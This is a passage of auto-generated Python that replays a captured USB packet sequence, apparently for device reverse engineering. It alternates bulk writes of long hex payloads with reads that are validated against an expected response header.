b\"\\xA9\\xBE\\xD3\\xC7\\x3C\\x35\\x98\\x71\\x45\\xAF\\x68\\x13\\xE9\\xAB\\x5A\\x3F\"\n b\"\\xF1\\x0C\\x72\\x72\\xDE\\xB9\\x96\\x98\\xDC\\x2B\\xCC\\xB8\\xF1\\x31\\x22\\xFA\"\n b\"\\x13\\x3A\\x02\\xEE\\xE4\\x48\\x16\\xD5\\x5E\\xA1\\xE5\\xF1\\x3C\\xEA\\x47\\x4A\"\n b\"\\xE2\\xCF\\x12\\x63\\x19\\x88\\xA2\\xDE\\x38\\x22\\xF5\\xCA\\xF7\\xA5\\x1A\\x93\"\n b\"\\x3E\\x79\\x92\\xAE\\xBF\\xD2\\xDE\\xEE\\xAF\\xCD\\x91\\x37\\xC5\\xFB\\x3E\\xCF\"\n b\"\\xB1\\xFC\\x26\\xD2\\xAF\\x47\\x61\\x76\\xE8\\xD3\\xEE\\x3F\\x05\\x68\\x9D\\x30\"\n b\"\\x0D\\xDE\\x87\\x0B\\x7C\\x26\\xAB\\x2A\\x0C\\xAF\\x1C\\xA1\\xC6\\x77\\xE9\\x9B\"\n b\"\\x6E\\xFA\\x9F\\x28\\xD5\\x97\\x3F\\x0C\\xBE\\x17\\xDD\\x97\\x09\\x1F\\x80\\x7B\"\n b\"\\xCA\\x7F\\xDF\\xA2\\x03\\xB0\\xD1\\x5F\\x0D\\xBA\\x2C\\xB4\")\n # Generated from packet 563/564\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 563/564\")\n # Generated from packet 565/566\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x83\\x51\\x1E\\x7A\\xC5\\x16\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEF\\xA0\\xA8\\x39\\x9F\\xC7\\xAF\\x05\"\n b\"\\x55\\x5A\\x4C\\x82\\x7E\\xEE\\x8B\\x3F\\x4B\\xF4\\x32\\xE9\\xD8\\x04\\xA9\\x7E\"\n b\"\\x55\\xA7\\xB4\\x40\\x83\\x43\\x01\\x2D\\xDC\\xEC\\x84\\xBB\\x19\\xA4\\xCA\\xC1\"\n b\"\\x10\\xC7\\xC0\\xD8\\xD5\\x73\\xD0\\x95\\x9C\\xA9\\xCB\\x14\\x85\\x0C\\xAF\\xEA\"\n b\"\\x1C\\xE7\\xF8\\x96\\x64\\x78\\x45\\x4A\\x91\\x8E\\xE6\\xB1\\x05\\x78\\x32\\x88\"\n b\"\\xCA\\x10\\xCC\\x9D\\x33\\xD4\\xA5\\x3C\\x8B\\xCA\\x7E\\xC4\\x20\\xE0\\xD6\\xA0\"\n b\"\\x23\\x30\\x47\\x52\\xCA\\x4D\\x69\\xCC\\x40\\xF4\\xE3\\xB1\\x21\\xB0\\xC7\\x1D\"\n b\"\\x49\\xB6\\xFF\\xEB\\x09\\xB3\\x1A\\xDC\\xCE\\x1B\\x43\\x9B\\x4A\\x6F\\xB7\\x09\"\n b\"\\x5D\\x1C\\x22\\x52\\x3F\\x2F\\xB7\\xA5\\x23\\xA2\\xED\\xE6\\x03\\x46\\xE0\\xDE\"\n b\"\\xA3\\x83\\x2A\\x52\\xE8\\x84\\xC6\\xAA\\x73\\xD7\\xCE\\xBF\\x67\\x41\\x50\\xE3\"\n b\"\\xB1\\x19\\xFA\\x97\\xF4\\x99\\x73\\xD3\\x34\\x14\\x39\\x05\\xBF\\x33\\x07\\x43\"\n b\"\\xD9\\x4F\\xA8\\xD9\\x2C\\x17\\x7A\\x39\\xA6\\x84\\x10\\xE1\\x81\\x9F\\xDF\\x2A\"\n b\"\\x57\\x13\\x64\\xB6\\xF4\\x72\\xC7\\x43\\x96\\xD8\\xCF\\xCF\\xE4\\x35\\xBE\\x08\"\n b\"\\xC7\\x13\\x47\\x15\\x1F\\xEB\\xF0\\x0B\\x4F\\xC3\\xB2\\xE5\\xA6\\xB8\\x88\\x48\"\n b\"\\x93\\x7F\\x47\\xD9\\xCC\\x43\\x65\\x1B\\x50\\xD2\\xC2\\x00\\x98\\x28\\xD2\\xD1\"\n b\"\\x5E\\x08\\xE3\\x7E\\x4B\\x39\\xEF\\xB7\\xCA\\x5D\\xE9\\x78\\x3B\\x62\\x1E\\x91\"\n b\"\\x3B\\x1C\\xEA\\x47\\x11\\x83\\xC6\\x2F\\x13\\x34\\xAE\\x0B\")\n # Generated from packet 567/568\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 567/568\")\n # Generated from packet 569/570\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAA\\x16\\x1F\\x85\\x99\\x68\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2F\\x61\\x49\\xF3\\x83\\xC0\\x6E\\xF7\"\n b\"\\xEA\\xB6\\xA0\\xB5\\xC1\\x1D\\x75\\x21\\x58\\x2C\\xC8\\x01\\x34\\x4F\\xCF\\x41\"\n b\"\\x66\\x8B\\x12\\x5A\\xF1\\xCB\\xB2\\x27\\xD0\\x4B\\xF7\\xB6\\x10\\x38\\xF4\\x79\"\n b\"\\xEA\\x99\\x9D\\x0E\\xB6\\x80\\x98\\x57\\x17\\x8E\\x3A\\x62\\x61\\x96\\x59\\x7B\"\n b\"\\xA0\\xD8\\x79\\x94\\xE5\\x99\\xF3\\x7B\\x63\\x55\\xD6\\x3E\\x32\\x0E\\x83\\xF2\"\n b\"\\x4F\\xE0\\x1E\\xE0\\xF7\\x4C\\x8D\\xCA\\x78\\xFA\\x7E\\x2D\\x22\\xE9\\xA9\\x8C\"\n b\"\\x1E\\x6A\\x43\\xF7\\xED\\x94\\x26\\xD7\\xF5\\xF4\\x70\\xE2\\x69\\x4E\\xDD\\x67\"\n b\"\\x0D\\x32\\x0E\\x51\\x16\\xC3\\x3E\\xE3\\xEF\\x3E\\x90\\xD8\\xDA\\x05\\xBA\\x9B\"\n b\"\\x6C\\xF5\\x61\\x46\\x49\\xD4\\xE9\\x51\\x0F\\x1B\\xD8\\xC4\\x45\\x1B\\x49\\x7F\"\n b\"\\x64\\x5A\\x95\\x54\\x8E\\x7D\\x5D\\x02\\xA4\\x9B\\x7A\\x79\\x6B\\x5B\\x34\\xB0\"\n b\"\\x0F\\xE0\\xD6\\xD5\\x87\\x3B\\x7E\\x0B\\x4C\\x91\\x93\\x2C\\xC3\\xC5\\xEB\\x5F\"\n b\"\\x1F\\xD5\\xBE\\x0E\\xF6\\xD0\\xBE\\x76\\xBD\\x82\\x28\\x7B\\x98\\x88\\x38\\x84\"\n b\"\\xF0\\x37\\x82\\x43\\xD7\\xC5\\xA6\\x98\\x4A\\xD8\\x4E\\xC1\\x6B\\x4F\\x0E\\xE2\"\n b\"\\x91\\x8A\\xFF\\xF2\\xF0\\x81\\x95\\x06\\x0B\\xCD\\xA9\\xF9\\xFC\\x50\\xB8\\xF0\"\n b\"\\xF3\\x45\\x35\\x51\\xBA\\x15\\xB1\\x44\\xAE\\xF8\\xBD\\xE9\\x43\\x6F\\x12\\x4A\"\n b\"\\x93\\xCA\\xB6\\x86\\xCC\\xDD\\x5C\\x1C\\xBC\\x0B\\x29\\x7C\\x06\\x5F\\x97\\xB8\"\n b\"\\x32\\xA1\\xA3\\x3B\\xF3\\xE3\\x7C\\x4D\\xCC\\x8C\\xE6\\x93\")\n # Generated from packet 571/572\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 571/572\")\n # Generated from packet 573/574\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8B\\x36\\x9E\\x9D\\xD5\\x3C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA1\\x06\\x22\\x49\\x6A\\xFB\\xEB\\x72\"\n b\"\\x6A\\x58\\xF3\\xC2\\xCC\\x46\\x84\\x23\\x7F\\xF9\\x16\\xCE\\xF1\\x02\\x7B\\x99\"\n b\"\\x6C\\x09\\x5F\\xCF\\x77\\xEB\\xBF\\xEC\\xCD\\xBE\\xE4\\x81\\xA9\\x92\\x81\\x97\"\n b\"\\xB8\\x80\\x6C\\xCF\\x2A\\x5B\\xC7\\x1A\\x7B\\xEF\\x76\\xF8\\x8F\\xE9\\x5E\\x1A\"\n b\"\\x82\\xFA\\x8C\\xD9\\x77\\x0E\\x50\\xFD\\x62\\x3B\\xFE\\x95\\xC6\\x34\\xC2\\xF2\"\n b\"\\xFD\\x41\\xB8\\x97\\x16\\x5E\\xD8\\x69\\x6A\\x66\\x00\\xA2\\x61\\x40\\x70\\x69\"\n b\"\\x09\\x23\\x6E\\x7B\\xB2\\x58\\xE3\\xA4\\xF9\\x4A\\x67\\x44\\x53\\x8F\\x6D\\x78\"\n b\"\\xA4\\x37\\x9C\\x38\\x5B\\x96\\xA5\\xEF\\xFE\\x99\\x05\\x6A\\x8F\\x51\\x35\\xAD\"\n b\"\\xAC\\xDE\\x45\\xFE\\x96\\xA4\\x40\\xB9\\xEE\\x59\\x87\\x99\\xD6\\x43\\xED\\xDC\"\n b\"\\xC6\\xAB\\x2B\\xCA\\xC9\\x83\\x4A\\x59\\x1A\\xEC\\xCB\\x8D\\x1B\\x3B\\xEB\\xD7\"\n b\"\\x96\\x5F\\xBE\\x28\\x63\\xBD\\x0D\\x29\\x3E\\x9E\\x40\\x73\\x5D\\x55\\xF5\\x70\"\n b\"\\xEF\\xE2\\x3B\\x0C\\x99\\xDA\\xA6\\x98\\xC3\\x4C\\xE9\\x9F\\xA7\\xC7\\xB2\\xFC\"\n b\"\\xD6\\xDD\\x60\\x4C\\x92\\x50\\x04\\xA6\\xE1\\xE3\\xA9\\xF9\\xA9\\x44\\xB6\\x74\"\n b\"\\x35\\x92\\x1F\\x5B\\x70\\x94\\xAA\\x92\\x39\\x71\\x90\\x37\\x8A\\xBD\\x13\\x10\"\n b\"\\x97\\xDA\\x17\\xAF\\xD4\\xC6\\xE4\\xDC\\x70\\xC9\\xD4\\x23\\x04\\x9D\\x09\\xC6\"\n b\"\\x8B\\xE2\\xB0\\x8F\\xC3\\x38\\x10\\x26\\x3C\\x8F\\x38\\x25\\x3C\\x5F\\x9F\\x88\"\n b\"\\xF4\\xB0\\x81\\xF5\\xAE\\xB9\\x71\\x8F\\x56\\xD6\\x05\\x33\")\n # Generated from packet 575/576\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 575/576\")\n # Generated from packet 577/578\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x54\\x42\\x17\\x47\\xE9\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x93\\x9E\\xBF\\x5D\\x69\\x95\\x98\\x52\"\n b\"\\x92\\xA9\\xE2\\x1A\\xCA\\x5C\\x37\\x55\\xF7\\x39\\xF9\\x13\\x99\\x44\\x6E\\x9E\"\n b\"\\xF8\\xFA\\x5D\\x0D\\xB8\\x6F\\xBD\\xD7\\x95\\x3F\\xE3\\xCF\\x2C\\xB8\\x5C\\x44\"\n b\"\\x20\\x27\\x2D\\x0A\\xCB\\x1B\\x5C\\x18\\x9F\\x4E\\x56\\x58\\x32\\x3B\\x75\\x43\"\n b\"\\xD6\\xAB\\x18\\xAB\\xF8\\x33\\xF3\\xEB\\x32\\xA3\\xB2\\xCC\\x7F\\x90\\xAB\\x8D\"\n b\"\\x8D\\x27\\xB3\\xA9\\x99\\xA0\\x1C\\x66\\x37\\x7A\\x50\\x42\\xAF\\xD0\\x83\\x21\"\n b\"\\x69\\x35\\x43\\x91\\x74\\xE7\\xA4\\x13\\x44\\x06\\x1C\\x96\\x9B\\xB1\\xA6\\xCF\"\n b\"\\x00\\xD2\\x66\\xAB\\xF2\\xF1\\x55\\xD5\\xFF\\x73\\x5F\\x75\\x3A\\x40\\x22\\xA8\"\n b\"\\xAC\\xD9\\x9E\\xA2\\x24\\x7B\\x0A\\xD4\\xD4\\xE5\\x56\\xA9\\x65\\x46\\xC7\\x82\"\n b\"\\x5D\\xDF\\x73\\x1E\\xC4\\xE5\\x59\\x35\\x90\\x30\\x43\\x39\\x9F\\x1C\\x47\\x6E\"\n b\"\\x48\\x96\\x5B\\xE3\\x76\\x2D\\x07\\x16\\x7B\\xCD\\x79\\xED\\x2F\\xD4\\x5D\\x7A\"\n b\"\\x7A\\x00\\x34\\x07\\x63\\xC8\\x60\\x79\\x98\\x75\\x4C\\xF6\\x93\\xD4\\x13\\xBB\"\n b\"\\xC0\\x62\\x5B\\x7C\\x76\\x86\\xFB\\x34\\xD2\\xA2\\xBD\\x2B\\x15\\x3B\\x2C\\xC8\"\n b\"\\xE1\\x69\\xB8\\xCB\\x9A\\xED\\x19\\x02\\x43\\x30\\x20\\x23\\xC8\\x9F\\x60\\xEB\"\n b\"\\xAB\\xC1\\x4D\\xAA\\x00\\x6B\\xEB\\x44\\x9D\\x2B\\x8B\\xCF\\x62\\x35\\xFE\\x8B\"\n b\"\\xA0\\x82\\x1F\\x1A\\x9F\\xCE\\x44\\xF4\\xDC\\x33\\x36\\x11\\x53\\x89\\xCD\\x87\"\n b\"\\xE4\\x5B\\x20\\x8A\\x5D\\x88\\x8E\\x76\\x40\\x06\\x3D\\xDA\")\n # Generated from packet 579/580\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 579/580\")\n # Generated from packet 581/582\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\x18\\x58\\x0C\\x80\\x40\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x14\\xD5\\x13\\xC8\\x6B\\x19\\xEB\"\n b\"\\x8E\\x6E\\x3A\\xBD\\x3E\\xA0\\x7F\\xF7\\x24\\x0E\\x64\\xA3\\x6E\\x90\\xFC\\xED\"\n b\"\\x03\\x39\\xDF\\xA0\\x0A\\x0A\\xB8\\x8B\\x02\\xD6\\x5D\\x9C\\x65\\x0A\\x7D\\x56\"\n b\"\\x3A\\x62\\xDA\\xA8\\xF0\\x4C\\x63\\x08\\xF3\\xE5\\xBA\\x29\\x0E\\xE9\\x61\\xEB\"\n b\"\\x8B\\x37\\x6E\\x35\\xDC\\xA7\\x9E\\x7C\\x08\\xB5\\x1A\\x84\\xBD\\xDD\\x79\\x45\"\n b\"\\x5E\\x79\\xFC\\xEB\\x9B\\x51\\x84\\x0D\\xE3\\xF6\\x46\\x15\\x69\\x8E\\x93\\x14\"\n b\"\\x4C\\xB3\\xBF\\x73\\x33\\x82\\x68\\x47\\xDF\\x64\\x9F\\xF5\\xC5\\x3C\\x70\\x35\"\n b\"\\x41\\x07\\x1D\\x9B\\xB2\\x84\\xD7\\xA5\\xCD\\xD9\\x3B\\xC0\\x27\\xFF\\x8F\\x11\"\n b\"\\x46\\x6E\\x33\\xDC\\x7F\\xE2\\xA5\\x93\\x96\\x2F\\x56\\x97\\x3F\\x20\\x03\\xFF\"\n b\"\\xBF\\x40\\xFC\\xBE\\xA8\\xF3\\x35\\xFA\\x36\\xBC\\x86\\xCC\\x38\\x06\\xC7\\xB2\"\n b\"\\x13\\x0E\\x94\\x3E\\xBA\\xD5\\xDE\\xA7\\x6C\\xC4\\x64\\xE6\\x96\\x47\\x37\\xE0\"\n b\"\\x1E\\x6B\\xCA\\x25\\xD3\\xC1\\x1C\\x26\\xE7\\xD2\\xE3\\xD1\\xBB\\x6C\\x9D\\x5D\"\n b\"\\xD8\\x72\\x99\\x94\\x60\\x84\\x33\\xE7\\x3F\\x8C\\x7E\\x14\\xCD\\x24\\x53\\x9D\"\n b\"\\x45\\xAF\\x6B\\x0E\\xEC\\x92\\xE7\\xB9\\x3D\\x96\\x56\\x56\\xF2\\xAC\\xD6\\x15\"\n b\"\\x9D\\xE7\\xD5\\x40\\x55\\x46\\x16\\x31\\xAC\\x9E\\x46\\xC6\\xB8\\xB6\\x75\\x0F\"\n b\"\\x13\\x2D\\xDB\\x01\\x21\\xD8\\x90\\x40\\xBC\\x98\\x50\\xEB\\xE9\\xA2\\xE4\\x24\"\n b\"\\x8F\\xED\\x33\\x15\\x66\\xC3\\xCA\\x05\\x2C\\x0F\\xA1\\x3E\")\n # Generated from packet 583/584\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 583/584\")\n # Generated from packet 585/586\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\x6A\\x29\\x4B\\xB2\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x36\\x1B\\xD8\\xF6\\xE3\\x55\\x9E\"\n b\"\\x23\\x92\\x2C\\xA0\\x05\\x21\\x6D\\x75\\x2D\\x50\\xCB\\x7E\\xCB\\xC4\\x30\\x8D\"\n b\"\\xE8\\x1C\\xC4\\x6B\\x4E\\xB2\\x35\\xA5\\xFF\\x6C\\xC8\\x19\\xBA\\xE9\\xA0\\xAA\"\n b\"\\xC9\\x63\\xD7\\x3B\\x98\\xA7\\xF1\\x45\\x85\\x38\\xFC\\xB0\\x38\\xCF\\xA9\\x17\"\n b\"\\xCD\\x99\\x10\\xF9\\x55\\x49\\xEA\\x67\\x89\\xA8\\xA7\\x25\\xB4\\x77\\xBF\\x4D\"\n b\"\\xC3\\x55\\x87\\x2D\\xFD\\xDD\\x3C\\x38\\xBF\\x4C\\x69\\xB2\\x7E\\x41\\xDA\\xC7\"\n b\"\\x26\\xDE\\x50\\xBE\\x3A\\xFA\\xC9\\xDD\\x2B\\xCC\\xE6\\x53\\xFE\\xC3\\x34\\xA4\"\n b\"\\x60\\x17\\xAD\\xB9\\x57\\x67\\x96\\x88\\x67\\xED\\x07\\x46\\x8E\\x78\\x5C\\x76\"\n b\"\\x37\\xE5\\x99\\x7B\\x69\\xF5\\x95\\xB5\\xA7\\xA1\\xB5\\x5F\\x04\\x12\\x64\\xB7\"\n b\"\\x3E\\x77\\xA3\\x0F\\x88\\x7E\\xE6\\xF1\\x77\\xD3\\xB3\\x3A\\xC9\\x42\\x53\\x36\"\n b\"\\xFC\\xB6\\x41\\x04\\x10\\x00\\x85\\xDF\\x95\\xDF\\x32\\x6E\\x54\\xDA\\x75\\x9B\"\n b\"\\x2D\\x45\\x9F\\x76\\xB9\\x57\\x63\\x9E\\x41\\x59\\x9F\\xAC\\xF9\\x78\\xDD\\x42\"\n b\"\\x58\\x55\\x41\\xBB\\xEB\\x51\\x36\\x4E\\x3E\\x0D\\xD9\\xB3\\xF3\\xD4\\x2A\\x87\"\n b\"\\xDA\\x9C\\x17\\xB8\\xF7\\xE4\\xA8\\x3C\\x99\\x83\\xB6\\x0F\\xA1\\xBA\\xD6\\xCB\"\n b\"\\xF3\\xBC\\x09\\xFF\\xAC\\x34\\x53\\x9B\\xB3\\x84\\x28\\x76\\xC0\\x14\\x3B\\x71\"\n b\"\\x14\\x84\\x43\\xC4\\xD4\\xE5\\xF6\\xFE\\x0A\\x8E\\xBC\\x48\\x4D\\x47\\xD0\\x39\"\n b\"\\xBB\\x19\\x0D\\x96\\x2A\\xE0\\x5C\\x86\\x13\\x78\\xF7\\x1E\")\n # Generated from packet 587/588\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 587/588\")\n # Generated from packet 589/590\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x10\\x2F\\x0B\\x4D\\xEA\\x33\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\x61\\x7B\\xFE\\x98\\x7B\\xAF\\xEE\"\n b\"\\x63\\x41\\xC2\\x0D\\x36\\x99\\xBF\\xC5\\x86\\x02\\x91\\x8E\\x51\\x36\\xD0\\x0B\"\n b\"\\x35\\xA5\\xE1\\xB6\\x0A\\x53\\xD7\\x04\\x48\\xBA\\x0E\\x25\\x96\\xDD\\x4A\\x54\"\n b\"\\x11\\x29\\xDD\\x93\\xB0\\x85\\x01\\x1F\\xC1\\x37\\x8E\\xE3\\x08\\xBF\\x62\\xC9\"\n b\"\\x7E\\x5B\\x0D\\x24\\x46\\x24\\x54\\x9E\\xB9\\xC6\\x92\\x7E\\xAB\\x36\\x30\\x4B\"\n b\"\\xCB\\x59\\x71\\xF7\\x63\\x59\\x0E\\x91\\x78\\x8A\\x3E\\xA5\\xCF\\x1D\\x6D\\x66\"\n b\"\\x37\\xAD\\xE7\\xF0\\x9D\\x60\\x47\\xED\\x7E\\x84\\xE8\\xD0\\xB6\\x0A\\x15\\xF1\"\n b\"\\x41\\x50\\xB4\\x40\\x54\\xCB\\x4A\\xFE\\x71\\x45\\x58\\xB1\\x85\\xE6\\x16\\x28\"\n b\"\\x83\\xA1\\xB4\\xC5\\xEF\\xD4\\xAA\\xA5\\x27\\xC6\\x26\\xD0\\x23\\xBB\\x1C\\x1E\"\n b\"\\xBA\\x59\\x6D\\xE3\\xA8\\x08\\xA8\\xCC\\x07\\xE3\\x9E\\xDE\\x8E\\xD6\\x56\\x11\"\n b\"\\x2C\\x55\\x2A\\x07\\x55\\x06\\x47\\xAA\\x72\\xBA\\x7A\\x2E\\x2E\\x61\\xB2\\x8D\"\n b\"\\xDD\\x92\\xDD\\xD7\\xBB\\xD5\\x23\\xA4\\xB2\\x82\\x95\\x18\\xDA\\x90\\xA0\\xF9\"\n b\"\\x4E\\xA5\\x6B\\xE5\\xDB\\xA5\\xA1\\x8E\\xF5\\x5A\\xFB\\x46\\x4A\\x04\\x95\\xAA\"\n b\"\\x85\\xAC\\x2E\\xD6\\xDB\\xD9\\xFF\\x1F\\x38\\xB3\\xA0\\x1A\\x07\\xFC\\xDF\\xC9\"\n b\"\\x14\\x22\\x09\\x96\\x9C\\xBB\\xE2\\x46\\x3B\\xD9\\x9B\\x55\\xE1\\xDF\\xFB\\xD5\"\n b\"\\x9D\\xD0\\x13\\x52\\x11\\x88\\x0C\\x13\\x4E\\x3A\\x7F\\xAD\\x7C\\x89\\x06\\xFD\"\n b\"\\x75\\xF2\\x28\\x6D\\xD0\\x73\\x3B\\xCC\\xE4\\x26\\xBD\\xBA\")\n # Generated from packet 591/592\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 591/592\")\n # Generated from packet 593/594\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x75\\x98\\xA9\\xB5\\xC9\\x23\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3E\\x0F\\x41\\xA1\\x67\\xA0\\xCE\\x09\"\n b\"\\x54\\x3D\\x30\\x83\\xD9\\x45\\xF7\\x7C\\x69\\x01\\x0C\\xA4\\x2D\\x52\\x08\\x43\"\n b\"\\xC6\\x38\\xA6\\x0C\\xB9\\xF6\\x9E\\xF4\\x34\\x35\\x04\\x09\\x08\\x1B\\xAE\\xA5\"\n b\"\\xE5\\x5C\\x44\\x7C\\xBC\\x69\\xB1\\x50\\x4D\\x71\\xAC\\xEF\\x34\\x4E\\xD5\\x7A\"\n b\"\\x4B\\xF8\\xE9\\x3E\\x07\\x6B\\x06\\xC5\\xCA\\x80\\xA8\\xBB\\x69\\x7C\\xA7\\x0A\"\n b\"\\x92\\xCC\\x72\\x1B\\xBA\\x37\\x0E\\xEF\\x14\\x07\\xB9\\xE5\\x11\\x17\\x6E\\xA3\"\n b\"\\x9B\\xA6\\x10\\x54\\x0E\\xE6\\x4C\\xE6\\xDF\\x47\\x05\\x42\\xC8\\xC8\\x4A\\xAF\"\n b\"\\x31\\x4C\\xD1\\x66\\x0C\\x4F\\xD0\\xA3\\x35\\x10\\x77\\xE6\\xEC\\x98\\x7B\\xF8\"\n b\"\\x42\\x33\\xF5\\xD8\\x2A\\x5F\\xAE\\x81\\xA4\\xE4\\xC2\\xDF\\xA4\\x4B\\x23\\x21\"\n b\"\\x06\\xDF\\x63\\xB8\\xFC\\x48\\x09\\xF4\\xD0\\xFD\\xB3\\x5C\\xF7\\x60\\x58\\xBD\"\n b\"\\x97\\xC2\\xAC\\x97\\xFB\\x61\\x63\\x9E\\xFD\\x96\\x59\\xA9\\x4E\\x14\\x08\\x1F\"\n b\"\\xD9\\x24\\x5B\\xFD\\x9F\\x1F\\x87\\x16\\x7F\\xCB\\x3B\\x60\\x2C\\xD2\\x5D\\x64\"\n b\"\\x83\\x17\\x53\\x1F\\xC4\\xD8\\xCF\\x29\\x6A\\x0C\\x25\\x77\\x3C\\xE5\\x40\\x2F\"\n b\"\\xF4\\xDE\\x26\\x7C\\xD8\\x2D\\xC3\\xBF\\x1A\\x78\\x2A\\xF6\\x0C\\x34\\x71\\xC6\"\n b\"\\x6C\\x79\\x1C\\x43\\x9E\\xF5\\x69\\xEE\\xC4\\xAF\\xC7\\x03\\x18\\x16\\xB3\\x3B\"\n b\"\\x30\\xEC\\x62\\xC6\\xD0\\xF9\\xF8\\xF9\\xDD\\xAE\\xAA\\x63\\xDF\\xB4\\x6D\\x47\"\n b\"\\x34\\x16\\x5B\\x43\\x72\\xF0\\xCC\\x0C\\xEC\\xF3\\x61\\x18\")\n # Generated from packet 595/596\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 595/596\")\n # Generated from packet 597/598\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB3\\x65\\xE4\\x1D\\xCC\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD1\\x37\\x60\\x8A\\xEE\\xB3\\x29\\x46\"\n b\"\\x1A\\x86\\x70\\xF9\\x0A\\x83\\x5A\\x1D\\x29\\x69\\x61\\x0E\\x44\\xB8\\x3D\\xD6\"\n b\"\\x21\\xA5\\xED\\xF1\\x0E\\x4F\\x3B\\x30\\x06\\x29\\x53\\x7A\\xD6\\xC3\\x89\\xB0\"\n b\"\\x70\\xA3\\x97\\x6D\\xD2\\xC1\\xF8\\x1D\\x01\\x76\\x7A\\x7D\\x08\\xB1\\xCC\\x1E\"\n b\"\\x1F\\x70\\x37\\xBA\\x87\\x30\\xC6\\x3D\\x8C\\xB0\\xC4\\xC7\\x3C\\xD6\\x2F\\xD3\"\n b\"\\x83\\xD9\\xF9\\x7A\\x43\\x05\\x4D\\x2E\\x38\\x74\\xCF\\x25\\x13\\x55\\xC9\\x86\"\n b\"\\xE8\\xE8\\x22\\xC2\\x76\\xDC\\xF3\\x38\\x07\\xAD\\xB8\\x42\\x3C\\x34\\x0E\\x2A\"\n b\"\\x0B\\x87\\x28\\x34\\x76\\x17\\x80\\xF5\\x90\\x9D\\xCE\\x59\\xA5\\xBC\\x78\\x88\"\n b\"\\x7F\\xC4\\x09\\x2B\\xA4\\x7E\\x2E\\xFA\\x38\\x2D\\x14\\xD5\\xCD\\xFF\\xF0\\xD6\"\n b\"\\x5F\\xB5\\x5B\\xB2\\xB7\\x82\\x87\\x67\\xC6\\x42\\xD7\\xE3\\x46\\xF8\\x96\\x45\"\n b\"\\xEB\\x04\\x8A\\x3E\\xE5\\xCD\\xDE\\xCA\\xF2\\x9D\\xFB\\x73\\xB1\\x47\\x32\\x6F\"\n b\"\\x39\\x14\\x48\\xED\\x6A\\x2D\\xFC\\x83\\x9C\\xDC\\x17\\xF3\\x7F\\xEE\\xB7\\x6A\"\n b\"\\x6B\\x6A\\xB1\\x68\\x95\\xD3\\x64\\x22\\x35\\xE7\\xC3\\xCF\\xDB\\xD1\\x14\\x75\"\n b\"\\x15\\x55\\x38\\x8F\\x6F\\x6F\\x75\\x29\\xE1\\x2D\\x56\\xB7\\xDE\\xD2\\xE7\\x6F\"\n b\"\\x57\\x42\\xEE\\x8B\\x71\\x70\\xE6\\x2D\\x0B\\xC2\\x2C\\x48\\x7B\\x08\\xDB\\x8A\"\n b\"\\x7B\\x05\\xE5\\xD4\\xB5\\xFE\\x7F\\x32\\xB4\\x87\\x08\\xFD\\x88\\xCE\\xEA\\x62\"\n b\"\\x9F\\xC4\\x74\\x38\\x5A\\xA1\\xF3\\x2A\\xF6\\x0F\\x18\\x5C\")\n # Generated from packet 599/600\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 599/600\")\n # Generated from packet 601/602\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x20\\xD4\\xF6\\x57\\x53\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAC\\x86\\xD2\\xA4\\x28\\xD4\\x06\\xDA\"\n b\"\\x54\\xFD\\x79\\xFE\\x41\\xDD\\x7D\\x7A\\x66\\xC2\\xA0\\x1D\\xEB\\x90\\x0D\\x72\"\n 